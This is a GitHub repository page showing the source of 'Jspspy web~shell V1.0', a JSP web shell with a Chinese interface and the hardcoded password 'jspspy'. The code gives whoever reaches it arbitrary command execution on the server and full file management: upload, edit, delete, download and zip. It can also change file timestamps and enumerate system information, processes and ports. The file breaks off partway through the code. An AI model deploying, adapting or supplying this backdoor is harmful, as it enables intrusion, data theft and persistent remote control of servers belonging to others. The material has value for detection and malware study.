forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
jsp.txt
1065 lines (985 loc) · 41.1 KB
/
jsp.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0036)http://localhost:8080/test/shell.jsp -->
<HTML><HEAD><TITLE>※Jspspy web~shell V1.0 ※MADE by 孤水绕城 QQ:540410588※</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<META content="孤水绕城Jspy web~shell" name=GENERATOR></HEAD>
<%@ page contentType="text/html; charset=GBK" %>
<%@ page import="java.io.*"%>
<%@ page import="java.util.Map"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.nio.charset.Charset"%>
<%@ page import="java.util.regex.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.util.zip.*"%>
<%@ page import="javax.servlet.jsp.*"%>
<%@ page import="java.lang.reflect.*"%>
<%@ page import="java.net.*"%>
<%@ page import="java.util.Date"%>
<%@ page import="java.text.*"%>
<%
final String passWord="jspspy";
final String nowURI=request.getRequestURI();
final String webSite_Folder = convertPath(application.getRealPath("/"));
final String AbsPath=application.getRealPath(request.getRequestURI());
File file = new File(AbsPath);
String strAbsPath = file.getParent();
session.setMaxInactiveInterval(6000);
if(session.getAttribute("login")==null){
if(request.getParameter("pass")!=null&&request.getParameter("pass").equals(passWord)){
session.setAttribute("login",passWord);
response.sendRedirect(nowURI);
}
else{
out.print("<body scroll=no bgcolor=#000000><Center style=font-size:13px><div style='width:500px;border:1px solid #222;padding:22px;margin:100px;'><br><span style='color:#ffffff'>JspSpy V1.0 <br><br><a href='http://www.nohack.cn' style=\"color:white;\" target='_blank'>※黑客手册专版※</a></span><form method='post'><span style='color:#ffffff'>输入密码:</span><input name='pass' type='password' size='22'> <input type='submit' value='登陆'><br><br><br><font color=#3399FF></font><br></div><body>");
}
return;
}
%>
<%!
public static String encodeHTML(String str){
String retStr = "";
retStr = str.replaceAll(" "," ");
retStr = str.replaceAll("<","<");
retStr = str.replaceAll(">",">");
retStr= str.replaceAll("\n","<br/>");
retStr = str.replaceAll("\n\r","<br>");
str.replaceAll("&","&");
return retStr;
}
public String strCut(String str, int len) {
String sRet;
//it's explame
len -= 3;
if (str.getBytes().length <= len) {
sRet = str;
} else {
try {
sRet = (new String(str.getBytes(), 0, len, "GBK")) + "...";
} catch (Exception e) {
sRet = str;
}
}
return sRet;
}
String encodeChange(String str)throws Exception{
if(str==null)
return null;
else
return new String(str.getBytes("ISO-8859-1"),"gb2312");
}
String encodeGb2Unicode(String str)throws Exception{
if(str==null)
return null;
else
return new String(str.getBytes("gb2312"),"ISO-8859-1");
}
public String convertPath(String path){
String retStr="";
if(empchk(path)){
path = path.replace('\\','/');
File file = new File(path);
if(file.isDirectory()){
if(!path.endsWith("/")){
path += "/";
}
}
}
retStr += path;
return retStr;
}
public boolean empchk(String str){
if(str==null&&str==""&&(str.trim()).equals("")){
return false;
}
else
return true;
}
public void outP(JspWriter out,String str) throws Exception{
if(empchk(str)){
out.print(str);
}
}
//输出空格
public void outE(JspWriter out,int n) throws Exception{
if(n>0){
for(int i=0;i<n;i++){
out.print(" ");
}
}
}
public String sacnRead(String path){
File file = new File(path);
if(file.canRead()){
return "<font face=wingdings size=4>ü</font>";
}
else{
return "<font face=wingdings size=4>û</font>";
}
}
public String sacnWrite(String path){
File file = new File(path);
if(file.canWrite()){
return "<font face=wingdings size=4>ü</font>";
}
else{
return "<font face=wingdings size=4>û</font>";
}
}
public String sacnHidden(String path){
File file = new File(path);
if(file.isHidden()){
return "<font face=wingdings size=4>ü</font>";
}
else{
return "<font face=wingdings size=4>û</font>";
}
}
public String getSize(String path){
File file = new File(path);
long size = file.length();
if(size>=1024*1024*1024){
return new Long(size/1073741824L)+"G";
}else if(size>=1024*1024){
return new Long(size/1048576L)+"M";
}else if(size>=1024){
return new Long(size/1024)+"K";
}else
return size+"B";
}
public String getLastModified(String path) throws Exception{
SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
File file = new File(path);
Date time =new Date(file.lastModified());
//Date now=new Date();
String str_date1 = formatter.format(time); //将日期时间格式化
return str_date1;
}
public void mainForm(JspWriter out,String webSite_Folder) throws Exception{
out.print("<table width=100% height=100% border=0 bgcolor=menu>");
out.print("<tr><td height=30 colspan=2>");
out.print("<table width=100% height=25 border=0>");
out.print("<form name=address method=post target=FileFrame onSubmit='checkUrl();'>");
out.print("<tr><td width=60 align=center>FilePath:</td><td>");
out.print("<input name=FolderPath type=text style=\"width:100%\" value='"+webSite_Folder+"'>");
out.print("<input type=hidden name=action value=S>");
out.print("<input type=hidden name=Filename><input type=hidden name = sFileName>");
out.print("</td><td width=100 align=center><a href=\"javascript:checkUrl();\">GOtoLink</a>");
out.print("</td></tr></form></table></td></tr><tr><td width=148>");
out.print("<iframe name=Menu src='?action=M' width=100% height=100% frameborder=2 scrolling=yes></iframe></td>");
out.print("<td width=600>");
out.print("<iframe name=FileFrame src='?action=S&FolderPath="+webSite_Folder+"' width=100% height=100% frameborder=1 scrolling=yes></iframe>");
out.print("</td></tr></table>");
}
public void mainMenu(JspWriter out,String webSite_Folder,String strAbsPath) throws Exception{
out.print("╬┅╬═══════════");
out.print("<div align=\"center\" style=\"width: 100%; height:31; vertical-align:middle ;color: White ; position: relative; filter: glow(color=#00CCFF, strength=5)\"><font face=\"楷体_GB2312\" size=4>☆黑客手册专版☆</font> </div> ");
out.print("═══════════╬┅╬");
listRoot(out);
out.print("<TR><TD width=100% height=20><A href='javascript:JshowFolder(\""+webSite_Folder+"\");'><B>〖站点根目录〗</B></A></TD></TR>\n");
out.print("<TR><TD width=100% height=20><A href='javascript:JshowFolder(\""+convertPath(strAbsPath)+"\");'><B>〖本程序目录〗</B></A></TD></TR>\n");
out.print("<TD height=20><A href='javascript:newFolder(\""+webSite_Folder+"\")'>〖新建目录〗</A></TD></TR><TR>\n");
out.print("<TR><TD height=20><A href=\"?action=G\" target=FileFrame>〖新建文本〗</A></TD></TR>\n");
out.print("<TR><TD height=20><A href=\"?action=q\" target=FileFrame>●查找<B>文件</B></A></TD></TR>");
out.print("<TR><TD height=20><A href='?action=t' target=FileFrame>●上传<B>文件</TD></TR>");
out.print("<TR><TD onmouseover=\"menu2.style.display=''\" height=22><B>+≤服务器端工具≥</B>\n");
out.print("<div id=menu2 style=\"display:none; width:100%\" onmouseout=\"menu2.style.dispaly='none'\">");
out.print("<a href='?action=U' target=FileFrame>〖系统参数〗</a><br>\n");
out.print("<a href='?action=E' target=FileFrame>〖CMD命令〗</a><br>\n");
out.print("<a href='?action=w' target=FileFrame>〖终端工具〗</a><br>\n");
out.print("<a href='?action=B&command=netstat' target=FileFrame>〖端口列表〗</a><br>\n");
out.print("<a href='?action=Z&command=netstart' target=FileFrame>〖服务列表〗</a><br>\n");
out.print("<a href='?action=Y&command=tasklist' target=FileFrame>〖进程列表〗</a><br>\n");
out.print("<a href='?action=V' target=FileFrame>〖结束进程〗</a><br>\n");
out.print("<a href='?action=x' target=FileFrame>〖注册表操作〗</a><br>\n");
out.print("<a href='?action=A' target=FileFrame>〖jspy说明〗</a><br>\n");
out.print("</div>");
}
void listRoot(JspWriter out){
try{
out.print("<TABLE cellSpacing=0 cellPadding=0 width=\"100%\">\n<TBODY>\n<TR>\n<TD height=5></TD></TR>\n<TR><TD>");
out.print("<CENTER><A href=\"\" target=_blank><FONT color=red></FONT></CENTER></A>");
out.print("\n</TD></TR>\n<TR>");
out.print("<td onMouseover=\"menu1.style.display=''\" width=100% height=22><B>+≤查看硬盘≥</B>>\n");
out.print("<DIV id=\"menu1\" style=\"DISPLAY:none; onMouseout=menu1.style.display='none'\">\n");
File[] roots=File.listRoots();
for(int i=0;i<roots.length;i++){
out.print("<A href='"+"javascript:JshowFolder(\""+convertPath(roots[i].getPath())+"\")'>本地磁盘:"+roots[i].getPath()+"</A><br>\n");
}
out.print("</DIV></TD></TR>");
}catch(Exception e){
}
}
void loginOut(JspWriter out,String nowURI)throws Exception{
//session.removeAttribute("login");
//response.sendRedirect("iframe.jsp");
out.print("gsrc");
out.print("<meta http-equiv=\"refresh\" content=\"2;url=" + nowURI +"\" />\n");
}
public void listFolder(JspWriter out,String path) throws Exception{
int j=0,p=0;int k,y=10000;
path=convertPath(path);
try{
File file = new File(path);
String[] sfiles = file.list();
File[] files = new File[sfiles.length];
String[] reFileName = new String[sfiles.length+1];
String[] abFileName = new String[sfiles.length+1];
k = sfiles.length+1;
//out.print("数组的长度为"+reFileName.length);
for(int i=0;i<sfiles.length;i++){
files[i] = new File(path+"/"+sfiles[i]);
if(files[i].isDirectory()){
reFileName[j]=(String)files[i].getName();
abFileName[p]=(String)convertPath(files[i].getAbsolutePath());
j++;
p++;
}
else{
reFileName[k-1] = (String)files[i].getName();
abFileName[k-1] = (String)convertPath(files[i].getAbsolutePath());
k--;
}
}
out.print("<TABLE cellSpacing=0 cellPadding=0 width=\"100%\" border=0>");
//out.print("<TBODY>");
for(int i=0;i<sfiles.length;i++){
if(abFileName[i]==null)
y=i;
}
if(sfiles.length>0){
//输出目录部分
//out.print("<Tbody>\n");
//out.print("");
out.print("<tr><td align='left'>文件名称</td><td align='center'>类型</td><td align='center'>大小</td><td align='center'>可读</td><td align='center'>可写</td><td align='center'>隐藏</td><td align='center'>最后修改时间</td><td align='left'>相关操作</td></tr>");
for(int i=0;abFileName[i]!=null;i++){
out.print("<tr><td><a href='javascript:JshowFolder(\""+abFileName[i]+"\");'>"+"<font face=\"wingdings\" size=6>0</font>"+strCut(reFileName[i],30)+"</td><td>folder</td><td>"+getSize(abFileName[i])+"</td><td>"+sacnRead(abFileName[i])+"</td><td>"+sacnWrite(abFileName[i])+"</td><td>"+sacnHidden(abFileName[i])+"</td><td>"+getLastModified(abFileName[i])+"</td><td><a href='javascript:JsReName(\""+abFileName[i]+"\",\""+abFileName[i]+"\");'>移动 </a><a href='javascript:JsdelName(\""+abFileName[i]+"\");'>删除 </a><a href='javascript:setDate(\""+abFileName[i]+"\")'>编辑属性 </a><a href='javascript:zipFile(\""+abFileName[i]+"\");'>打包 </a></td></tr>");
}
//输出文件部分
out.print("</tr>");
for(int i=sfiles.length;reFileName[i]!=null;i--){
out.print("<tr><td><a href='javascript:JshowFile(\""+reFileName[i]+"\")'>"+"<font face=\"wingdings\" size=5>2</font>"+strCut(reFileName[i],30)+"</td><td>file</td><td>"+getSize(abFileName[i])+"</td><td>"+sacnRead(abFileName[i])+"</td><td>"+sacnWrite(abFileName[i])+"</td><td>"+sacnHidden(abFileName[i])+"</td><td>"+getLastModified(abFileName[i])+"</td><td><a href='javascript:JsReName(\""+abFileName[i]+"\",\""+abFileName[i]+"\");'>移动 </a><a href='javascript:JsdelName(\""+abFileName[i]+"\");'>删除 </a><a href='javascript:setDate(\""+abFileName[i]+"\")'>编辑属性 </a><a href='javascript:JsCoypFile(\""+abFileName[i]+"\",\""+abFileName[i]+"\");'>复制 </a><a href='?action=H&fileName="+abFileName[i]+"'>编辑 </a><a href='javascript:downFIle(\""+abFileName[i]+"\");'>下载 </a></td></tr>");
}
out.print("</table>");
}
//out.print(y);
}
catch(Exception e){
}
}
public void pExeCmd(JspWriter out,HttpServletRequest request) throws Exception{
out.print("<table class=\"ta\" align=\"center\" border=0 width=100% bgcolor=black>\n");
out.print("<form><tr><td width=\"10%\">输入命令:</td><td><input style=\"width:100%; height:23\"type=text name=cmd value=\"net user\">   <td width=\"10%\"><input style=\"height:23;width:100%;background-color:#FFFFFF;border:0px\"type=submit value=提交></td><td><input type=hidden name=action value=E></td><tr>\n");
out.print("<tr><td colspan=3><TEXTAREA style=\"width:100%;background-color:#FF80FF ;height=100%\">"+exeCmd(out,request.getParameter("cmd"))+"</TEXTAREA></td></tr>\n");
out.print("</form>");
out.print("</table>");
}
public String exeCmd(JspWriter out,String cmd) throws Exception{
String rStr = "";
if(empchk(cmd)){
int nRet;
InputStreamReader in = null;
Runtime run = Runtime.getRuntime();
Process pro = null;
char[] tmpChar = new char[1024];
try{
pro = run.exec(cmd);
in = new InputStreamReader(pro.getInputStream(),Charset.forName("GB2312"));
while((nRet = in.read(tmpChar,0,1024))!=-1){
rStr += new String(tmpChar,0,nRet);
}
}catch(Exception e){
}
finally {
in.close();
return rStr;
}
}
else
return "empty";
}
public void newFolder(JspWriter out,String nFolder)throws Exception{
if(empchk(nFolder)){
File file = new File(nFolder);
if(file.exists()){
out.print("<script>alert(\"目录已经存在!\");</script>");
}
else{
if(file.mkdir()){
out.print("<script>alert(\":-)目录建立成功!\");</script>");
//out.print("目录建立成功");
}
else{
out.print("<script>alert(\"目录建立失败!\");</script>");
}
}
}
}
public void pnewFile(JspWriter out,String nFile,String webSite_Folder) throws Exception{
out.print("<table align=\"center\" border=0 width=100% bgcolor=black>\n");
out.print("<form method=post action=\"?action=g&choice=r\"><tr><td style=\"width:10%;height:23\">绝对路径:</td><td><input style=\"width:100%; height:23\"type=text name=fileName value=\""+webSite_Folder+"\"></td></td><td></td><tr>\n");
out.print("<tr><td colspan=2><TEXTAREA name=fileContent style=\"width:100%;background-color:#FF80FF ;height=400\">"+nFile+"</TEXTAREA></td></tr>\n");
out.print("<br><hr><tr><td colspan=2><input name='goback' type='button' value='返回' onclick='history.back();'> <input name='reset' type='reset' value='重置'> <input name='submit' type='submit' value='保存'></td></tr>");
out.print("</form>");
out.print("</table>");
}
//
public void newFile(JspWriter out,String path,byte[] content,String choice) throws Exception{
File file = new File(path);
if(choice.equals("r")&&file.exists()){
out.print("☆孤水绕城☆友情提示:<br><br>文件已经存在! 换个名字吧!");
return;
}
else{
BufferedOutputStream bos = null;
try{
bos = new BufferedOutputStream(new FileOutputStream(path));
bos.write(content,0,content.length);
out.print("文件保存成功!<br><br>绝对路径为:");
out.print(path);
}catch(Exception e){
}
finally{
if(out!=null){
bos.close();
}
}
}
}
public void pupfile(JspWriter out,String path) throws Exception{
out.print("<table class=\"ta\" width='100%'> ");
out.print("<form method=post enctype='multipart/form-data' action='?action=T'> ");
out.print("<tr><td width='40%'>所在的路径为:"+path+"</td><td width='40%'><input style='width:90%' type=file name=file value='浏览'></td><td width='20%'><input type=submit value=上传 style='background:#ccc;border:2px solid #fff;padding:2px 2px 0px 2px;margin:4px;'></td></tr>");
out.print("</from>");
out.print("</table>");
}
public void uploadFile(JspWriter out,ServletRequest request, String path) throws Exception{
String sRet = "";
File file = null;
InputStream in = null;
path = convertPath(path);
try {
in = request.getInputStream();
byte[] inBytes = new byte[request.getContentLength()];
int nBytes;
int start = 0;
int end = 0;
int size = 1024;
String token = null;
String filePath = null;
//
// 把输入流读入一个字节数组
//
while ((nBytes = in.read(inBytes, start, size)) != -1) {
start += nBytes;
}
in.close();
//
// 从字节数组中得到文件分隔符号
//
int i = 0;
byte[] seperator;
while (inBytes[i] != 13) {
i ++;
}
seperator = new byte[i];
for (i = 0; i < seperator.length; i ++) {
seperator[i] = inBytes[i];
}
//
// 得到Header部分
//
String dataHeader = null;
i += 3;
start = i;
while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) {
i ++;
}
end = i - 1;
dataHeader = new String(inBytes, start, end - start + 1);
//
// 得到文件名
//
token = "filename=\"";
start = dataHeader.indexOf(token) + token.length();
token = "\"";
end = dataHeader.indexOf(token, start) - 1;
filePath = dataHeader.substring(start, end + 1);
filePath = convertPath(filePath);
String fileName = filePath.substring(filePath.lastIndexOf("/") + 1);
//
// 得到文件内容开始位置
//
i += 4;
start = i;
//
// 偷懒的办法
//
end = inBytes.length - 1 - 2 - seperator.length - 2 - 2;
//
// 保存为文件
//
File newFile = new File(path + fileName);
newFile.createNewFile();
FileOutputStream fos = new FileOutputStream(newFile);
out.print("☆孤水绕城☆友情提示:<br><br>文件路径为:"+newFile);
//out.write(inBytes, start, end - start + 1);
fos.write(inBytes, start, end - start + 1);
fos.close();
sRet = fileName;
sRet = "<script language=\"javascript\">\n";
sRet += "alert(\"文件上传成功:" + fileName + "\");\n";
sRet += "</script>\n";
} catch (IOException e) {
sRet = "<script language=\"javascript\">\n";
sRet += "alert(\"文件上传失败\");\n";
sRet += "</script>\n";
}
out.print(sRet);
}
//以p开头的函数均为界面构造函数
public void peditFile(JspWriter out,String nFile) throws Exception{
out.print("<table align=\"center\" border=0 width=100% bgcolor=black>\n");
out.print("<form method=post action=\"?action=g&choice=w\"><tr><td style=\"width:10%;height:23\">绝对路径:</td><td><input style=\"width:100%; height:23\"type=text name=fileName value=\""+nFile+"\"></td></td><td><input type=hidden name=action value=E></td><tr>\n");
out.print("<tr><td colspan=2><TEXTAREA name=fileContent style=\"width:100%;background-color:#FF80FF ;height=400\">"+editFile(out,nFile)+"</TEXTAREA></td></tr>\n");
out.print("<br><hr><tr><td colspan=2><input name='goback' type='button' value='返回' onclick='history.back();'> <input name='reset' type='reset' value='重置'> <input name='submit' type='submit' value='保存'></td></tr>");
out.print("</form>");
out.print("</table>");
}
public String editFile(JspWriter out,String path) throws Exception {
out.print(path);
File file = new File(path);
String strRet = "";
if(file.exists()&&file.length()>0){
int nRet ;
BufferedInputStream bis = null;
byte[] tmpChar= new byte[1024];
//FileInputStream in = null;
try{
bis = new BufferedInputStream(new FileInputStream(path));
while((nRet=bis.read(tmpChar,0,1024))!=-1){
strRet += new String(tmpChar,0,nRet);
strRet = encodeHTML(strRet);
}
}catch(Exception e){
strRet += "error";
}
finally{
if(bis != null){
bis.close();
}
}
}
return strRet;
}
public void reName(JspWriter out,String sPath,String dpath) throws Exception{
if(empchk(sPath)&&empchk(dpath)){
File dfile = new File(dpath);
File sfile = new File(sPath);
if(dfile.exists()){
out.print("友情提示!\n该文件已经存在!!!");
}
else{
if(sfile.renameTo(dfile)){
out.print("☆孤水绕城☆友情提示:<br><br>移动成功!");
}
}
}
}
public void delName(JspWriter out,String spath) throws Exception{
if(empchk(spath)){
File file = new File(spath);
if(file.delete()){
out.print("☆孤水绕城☆友情提示:<br><br>删除成功!");
}
}
}
public void copyName(JspWriter out,String spath,String dpath) throws Exception{
if(empchk(spath)&&empchk(dpath)){
String retStr="";
File sfile = new File(spath);
File dfile = new File(dpath);
if(dfile.exists()){
out.print("☆孤水绕城☆友情提示:<br><br>该文件已经存在!");
}
else{
FileInputStream fis = new FileInputStream(sfile);
FileOutputStream fos = new FileOutputStream(dfile);
int nRet;
byte[] tempByte = new byte[1024];
try{
while((nRet=fis.read(tempByte,0,1024))!=-1){
fos.write(tempByte,0,nRet);
}
out.print("☆孤水绕城☆友情提示:<br><br>文件复制成功!");
}catch(Exception e){
}
finally{
fis.close();
fos.close();
}
}
}
}
public void downFile(String filePath,HttpServletResponse res) throws Exception{
int nRet;
byte[] buffer=new byte[256];
if(empchk(filePath)){
ServletOutputStream sos = res.getOutputStream();
BufferedInputStream bis = null;
String fName= encodeGb2Unicode((new File(filePath)).getName());
res.reset();
res.setHeader("Content-disposition","attachment;filename=\""+fName+"\"");
try{
bis = new BufferedInputStream(new FileInputStream(filePath));
while((nRet=bis.read(buffer,0,buffer.length))!=-1){
sos.write(buffer,0,nRet);
}
}
catch(Exception e){
}
finally{
sos.close();
bis.close();
}
}
}
void zip(JspWriter out,String sPath, String dpath) throws Exception {
FileOutputStream output = null;
ZipOutputStream zipOutput = null;
try{
output = new FileOutputStream(dpath);
zipOutput = new ZipOutputStream(output);
zipEntry(zipOutput,sPath,sPath,dpath);
}catch(Exception e){
out.print("file zip error");
}finally{
if(zipOutput!=null)zipOutput.close();
}
out.print("zip ok"+dpath);
}
//add the zip entry
void zipEntry(ZipOutputStream zipOs, String initPath,String filePath,String zipPath) throws Exception {
String entryName = filePath;
File f = new File(filePath);
if (f.isDirectory()){// check is folder
String[] files = f.list();
for(int i = 0; i < files.length; i++)
zipEntry(zipOs, initPath, filePath + File.separator + files[i],zipPath);
return;
}
String chPh = initPath.substring(initPath.lastIndexOf("/") + 1);//
int idx=initPath.lastIndexOf(chPh);
if (idx != -1) {
entryName = filePath.substring(idx);
}
ZipEntry entry;
entry = new ZipEntry(entryName);
File ff = new File(filePath);
if(ff.getAbsolutePath().equals(zipPath))return;
entry.setSize(ff.length());
entry.setTime(ff.lastModified());
//the CRC efficacy
entry.setCrc(0);
CRC32 crc = new CRC32();
crc.reset();
zipOs.putNextEntry(entry);
int len = 0;
byte[] buffer = new byte[2048];
int bufferLen = 2048;
FileInputStream input =null;
try{
input = new FileInputStream(filePath);
while ((len = input.read(buffer, 0, bufferLen)) != -1) {
zipOs.write(buffer, 0, len);
crc.update(buffer, 0, len);
}
}catch(Exception e){
}finally{
if(input!=null)input.close();
}
entry.setCrc(crc.getValue());
}
public void pfindFile(JspWriter out,HttpServletRequest request) throws Exception{
out.print("<br>网站根目录:"+request.getRealPath("/")+"<br>");
out.print("<FORM name=form1 action=?action=Q method=post>\n<P><B>填入你要搜索的文件名称:</B>\n<INPUT style=\"BORDER-RIGHT: #999 1px solid; BORDER-TOP: #999 1px solid; BORDER-LEFT: #999 1px solid; BORDER-BOTTOM: #999 1px solid\" size=30 value=index.jsp name=filename>\n注:只填写文件名称(区分大小写)<BR>\n查找文件范围: \n <INPUT class=c type=radio checked value='");
out.print(convertPath(request.getRealPath("/")));
out.print("' name=radiobutton>网站根目录搜索");
File[] roots=File.listRoots();
for(int i=0;i<roots.length;i++){
out.print("<INPUT class=c type=radio value="+convertPath(roots[i].getPath())+" name=radiobutton>"+roots[i].getPath());
}
out.print("<br><br>");
out.print("<input type=\"submit\" value=\" 开始扫描 \" style=\"background:#ccc;border:2px solid #fff;padding:2px 2px 0px 2px;margin:4px;\" />");
}
public void findFile(JspWriter out,String path,String filename)throws Exception{
File file = new File(path);
File[] list = file.listFiles();
String dfileName = filename ;
try{
for(int i=0;i<list.length;i++){
if(list[i].isDirectory()){
findFile(out,list[i].getPath(),dfileName);
}
else if(list[i].isFile()){
if(list[i].getName().equals(dfileName)){
out.print("<table width='100%' border=0> ");
out.print("<tr><td width='60%'>"+strCut(convertPath(list[i].getPath()),70)+"</td><td width='40%'><a href='javascript:JsReName(\""+convertPath(list[i].getPath())+"\",\""+convertPath(list[i].getPath())+"\");'>移动 </a><a href='javascript:JsCoypFile(\""+convertPath(list[i].getPath())+"\",\""+convertPath(list[i].getPath())+"\");'>复制 </a><a href='?action=H&fileName="+convertPath(list[i].getPath())+"'>编辑 </a><a <a href='?action=O&fileName="+convertPath(list[i].getPath())+"'>下载 </a><a href='javascript:JsdelName(\""+convertPath(list[i].getPath())+"\");'>删除 </a><a href='javascript:setDate(\""+convertPath(list[i].getPath())+"\")'>编辑属性 </a></td></tr>");
out.print("</table>");
}
}
}
}catch(Exception e){
}finally {
}
}
public void dateChange(String filename,String year,String month,String day,JspWriter out)throws IOException{
File f=new File(filename);
if(f.exists()){
Calendar calendar=Calendar.getInstance();
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day));
if(f.setLastModified(calendar.getTimeInMillis()))
out.print("☆孤水绕城☆友情提示:<br><br>"+filename+" change success");
else
out.print(filename+"file date change error");
}else{
out.println("file not find!!!");
}
}
public static String getWindowsMACAddress() {
String mac = null;
BufferedReader bufferedReader = null;
Process process = null;
try {
process = Runtime.getRuntime().exec("ipconfig /all");// windows下的命令,显示信息中包含有mac地址信息
bufferedReader = new BufferedReader(new InputStreamReader(process
.getInputStream()));
String line = null;
int index = -1;
while ((line = bufferedReader.readLine()) != null) {
index = line.toLowerCase().indexOf("physical address");// 寻找标示字符串[physical address]
if (index >= 0) {// 找到了
index = line.indexOf(":");// 寻找":"的位置
if (index>=0) {
mac = line.substring(index + 1).trim();// 取出mac地址并去除2边空格
}
break;
}
}
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
if (bufferedReader != null) {
bufferedReader.close();
}
} catch (IOException e1) {
e1.printStackTrace();
}
bufferedReader = null;
process = null;
}
return mac;
}
public void systemInfo(JspWriter out,HttpServletRequest request) throws Exception{
out.print("<table width=\"100%\" border=0>");
out.print("<tr><td colspan=\"2\"><div align=\"left\">服务器信息</div></td> </tr>");
//out.print("");
out.print("<tr> <td width=\"19%\">服务器名称</td><td width=\"81%\">"+request.getServerName()+"</td></tr>");
out.print("<tr><td>ip地址</td><td>"+InetAddress.getLocalHost().getHostAddress()+"</td></tr>");
out.print("<tr><td>服务器端口</td><td>"+request.getServerPort()+"</td></tr>");
out.print("<tr><td>操作系统</td><td>"+System.getProperty("os.name")+System.getProperty("os.version") + " " + System.getProperty("os.arch")+"</td></tr>");
out.print("<tr><td>MAC地址</td><td>"+getWindowsMACAddress()+"</td></tr>");
out.print("<tr> <td>当前用户名</td><td>"+System.getProperty("user.name")+"</td></tr> ");
out.print("<tr> <td>当前用户目录</td><td>"+System.getProperty("user.home")+"</td></tr> ");
out.print("<tr><td>当前用户工作目录</td><td>"+System.getProperty("user.dir")+"</td> </tr>");
out.print("<tr><td>程序绝对路径</td><td>"+request.getRealPath(request.getServletPath())+"</td> </tr>");
out.print("<tr><td>网络协议版本</td><td>"+request.getProtocol()+"</td></tr>");
//out.print("<tr><td>服务器软件版本信息</td><td>"+application.getServerInfo()+"</td> </tr>");
out.print("<tr><td>JDK版本</td><td>"+System.getProperty("java.version")+"</td> </tr>");
out.print("<tr><td>JDK安装路径</td><td>"+System.getProperty("java.home")+"</td></tr>");
out.print("<tr><td>JAVA虚拟机版本</td><td>"+System.getProperty("java.vm.specification.version")+"</td></tr> ");
out.print("<tr><td>JAVA虚拟机名</td><td>"+System.getProperty("java.vm.name")+"</td></tr>");
out.print("<tr><td>JAVA类路径</td><td>"+System.getProperty("java.class.path")+"</td></tr>");
out.print("<tr><td>系统path变量</td><td>"+System.getProperty("java.library.path")+"</td> </tr>");
